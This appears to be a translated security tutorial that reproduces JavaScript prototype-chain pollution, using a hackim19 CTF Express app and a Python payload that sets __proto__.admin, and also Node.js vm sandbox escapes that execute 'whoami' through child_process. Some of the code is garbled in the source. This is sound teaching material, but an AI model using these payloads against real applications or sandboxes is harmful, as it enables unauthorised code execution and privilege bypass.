Vulnerability recurrence – prototype chain pollution, sandbox escape bypass

Directory

1. Prototype Chain Pollution

1. What is the difference between prototype and __proto__? ? ?

2. What is prototype chain pollution? ? ?

3. Under what circumstances will the prototype chain be polluted? ? ?

4. Example of prototype chain pollution

2. Sandbox escape bypass

1. How to achieve sandbox escape?

2. How to achieve bypass?


1. Prototype chain pollution

Prototype pollution is a security hole, very specific to JavaScript.

__proto__ inspects its members or calls Object.getPrototypeOf to find out what the prototype of a given object is

When we try to access a property of an object, the JS engine first checks to see if the object itself contains the property. If yes, send it back. Otherwise, JS checks to see if the prototype has that property. If not, JS checks the prototype for the prototype, and so on until the prototype is null. It’s called the prototype chain.

1. What is the difference between prototype and __proto__? ? ?

function Foo() {
    this.bar = 1
}
Foo.prototype.show = function show() {
    console. log(this. bar)
}
let foo = new Foo()
foo. show()

The prototype of the Foo class is accessed through Foo.prototype, but the object instantiated from Foo cannot access the prototype through prototype. At this time, it’s time for __proto__ to appear.

in conclusion:

(1) prototype is an attribute of a class, and all class objects will have the attributes and methods in prototype when they are instantiated

(2) The __proto__ attribute of an object points to the prototype attribute of the class where the object is located.

2. What is prototype chain pollution? ? ?

// foo is a simple JavaScript object
let foo = {bar: 1}

// foo.bar is now 1
console. log(foo. bar)

// modify the prototype of foo (i.e. Object)
foo.__proto__.bar = 2

// foo.bar is still 1 due to search order
console. log(foo. bar)

// At this time, use Object to create an empty zoo object
let zoo = {}

// view zoo.bar
console.log(zoo.bar)

Note: Three printings are performed, the first two times are not polluted, and the printing results are consistent, and the third polluted printing result is modified, that is, the prototype is changed.

3. Under what circumstances will the prototype chain be polluted? ? ?

Think about the circumstances under which you can set the value of __proto__.

  • object merge combine splicing

  • Object clone (in fact, the kernel is to merge the object to be operated into an empty object) copy

4. Prototype chain pollution example

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj & amp; & amp; obj.constructor & amp; & amp; obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) & amp; & amp; isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

//App
const app = express();
app. use(bodyParser. json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app. post('/signup', (req, res) => {
    var body = JSON. parse(JSON. stringify(req. body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аadmin = JSON. parse(JSON. stringify(req. cookies))
    if (admin. admin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

Through the analysis of the topic, there is a sensitive function merge. The function of the merge function is to merge objects, which involves the assignment of objects, and the key value is controllable, so that the prototype chain pollution can be triggered.

Write the payload and pollute it.

import requests
import json

url1 = "http://127.0.0.1:8080/signup"
url2 = "http://127.0.0.1:8080/getflag"

s = requests.session()

headers = {"Context-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print (res2.text)

2. Sandbox escape bypass

1. How to escape from the sandbox?

An object outside the sandbox is found inside the sandbox (that is, the inside of the sandbox can access the outside of the sandbox), and the functions outside the sandbox can be obtained by using the properties of this object, thereby bypassing the sandbox.

The first type of sandbox escape, achieved through this

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: [], n: {},x:/regexp/ };
const context = new vm. createContext(sandbox);
const res = vm. runInContext(script, context);
console.log(res)

The second type of sandbox escape, there is no this

const vm = require('vm');
const script = `(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc. constructor. constructor('return process'))();
 return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a })()`;
const sandbox = Object. create(null);
const context = new vm. createContext(sandbox);
const res = vm. runInContext(script, context);
console.log('Hello' + res)

2. How to achieve bypass?

//Finally achieve the result, a prompt box 1337 will pop up
mafia = (new URL(location). searchParams. get('mafia') || '1 + 1')
mafia = mafia. slice(0, 50)
mafia = mafia.replace(/[\`'"\ + \-\!\\[\]]/gi, '_')
mafia = mafia.replace(/alert|prompt|confirm/g, '_')
eval(mafia)

Analyzing the code, it can be seen that `, ‘, “, +,-,!,\,[,] are filtered and the pop-up function alert, prompt, confirm is filtered. How to bypass it?

The first type, Function constructor

The second, use the eval function to bypass, use 2-36 base

Note: What does 8680439 represent? How come?

The third is to use the hash in the location to bypass

The above is an introduction to the reproduction of prototype chain pollution and sandbox escape bypass. The introduction is not comprehensive enough, and it will be further improved later.